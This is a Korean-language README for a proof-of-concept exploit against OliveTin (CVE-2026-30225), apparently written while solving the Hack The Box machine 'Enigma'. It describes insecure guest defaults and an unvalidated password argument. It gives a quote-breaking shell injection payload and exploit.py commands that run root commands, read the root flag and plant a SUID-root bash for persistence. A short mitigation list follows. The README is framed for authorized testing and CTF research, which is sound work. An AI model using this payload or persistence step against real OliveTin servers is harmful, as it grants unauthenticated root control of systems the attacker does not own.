
OliveTin의 인증되지 않은 RCE(CVE-2026-30225)에 대한 개념 증명 익스플로잇으로, 안전하지 않은 게스트 기본 설정과 검증되지 않은 인수 유형을 악용하여 취약한 인스턴스에서 루트 셸을 획득합니다.
기본 게스트 설정과 함께 배포된 OliveTin 인스턴스를 대상으로 한 권한 상승 / 원격 코드 실행 PoC입니다. root로 실행되는 OliveTin 3000.10.0 (HTB: Enigma)에서 검증되었으며, 인증되지 않은 root 셸을 획득합니다.
⚠️ 승인된 테스트 전용입니다. 교육, CTF 플레이, 방어 연구 목적으로 공개되었습니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 이 도구를 사용하는 것은 불법입니다. 보증은 없습니다. LICENSE를 참조하세요.
OliveTin의 예제 / 기본 설정에는 다음이 포함됩니다:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
이 설정에서는 인증되지 않은 호출자(WhoAmI → "guest")가 StartActionAndWait를 호출하여 모든 액션을 실행할 수 있습니다. 액션은 OliveTin 프로세스 사용자 — 일반적으로 root — 권한으로 실행됩니다.
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
이러한 유형은 전혀 검증되지 않습니다. shell: 템플릿이 이러한 인자를 보간하는 모든 액션은 셸 인젝션 지점이 됩니다. Enigma의 실제 /etc/OliveTin/config.yaml에는 다음이 포함되어 있습니다:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- 검증되지 않음, -p'...' 내부에 위치
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # 는 -p'…' 따옴표를 닫고 <cmd>를 연결하며, #는 뒤따르는 ' <db_name> > /opt/backups/backup.sql을 주석 처리합니다.
root OliveTin에 대한 A + B = 인증되지 않은 root RCE.
RestartAction 인증 컨텍스트 누락RestartAction은 호출자의 인증 헤더/쿠키를 전달하지 않고 내부 요청을 재구성하므로, 재실행은 항상 guest 사용자로 해석됩니다 (guest가 호출자보다 더 많은 권한을 가질 때 ACL 우회). 3000.11.1에서 수정되었습니다.
3000.10.x 이하 빌드에서는 핸들러가 추가로 절반만 구현되어 있으며(// FIXME) 빈 BindingId를 전달하므로 action with ID "" not found를 반환하고 아무것도 재실행할 수 없습니다. test-restart는 대상이 실제로 수행하는 동작을 보고합니다. Enigma에서는 이 경로가 no-op입니다 — 코드 실행을 가능하게 하는 것은 A + B 문제입니다.
requests — pip install -r requirements.txt127.0.0.1:1337; 필요 시 터널/피벗 — Enigma에서는 uid 1000만 해당 포트에 접근 가능)../exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check 신원, 액션 목록, 인젝션 가능한 인자, CVE-2026-30225 상태
test-restart RestartAction 동작만 프로브
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' 인증된 로컬 사용자로 동작 (선택 사항)
# 정찰
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: root로 명령 실행
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# 지속적 셸을 위한 SUID-root bash 드롭
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# 그런 다음: /tmp/rb -p
StartActionAndWait는 명령의 stdout을 logEntry.output에 반환하므로 출력(플래그, uid=0(root), …)이 응답에 직접 포함되어 돌아옵니다.
check는 표시되는 모든 액션을 나열하고 인자에 검증되지 않는 유형을 사용하는 액션을 표시합니다. 하나를 선택하고 해당 shell: 문자열에서 인자가 어떻게 따옴표 처리되는지 확인한 후(--quote single|double|none), exploit --inject <arg> --cmd '<payload>'를 실행합니다. 대시보드에 표시되지 않은 액션도 ID로 실행할 수 있습니다(--action <id>).
authRequireGuestsToLogin: true로 설정하고 guest/기본 권한에서 exec를 제거; 각 ACL에 필요한 최소 권한만 부여.user: 사용).type과 관계없이 모든 액션 인자를 공격자 통제 하에 있는 것으로 취급; shell: 문자열에 인자를 보간하지 말 것 — exec: argv 형식을 선호하고 엄격하게 따옴표 처리 및 검증.RestartAction이 guest로 액션 실행internal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)HTB: Enigma (www-data → haris → OliveTin → root) 루팅 중 수행된 연구 및 PoC.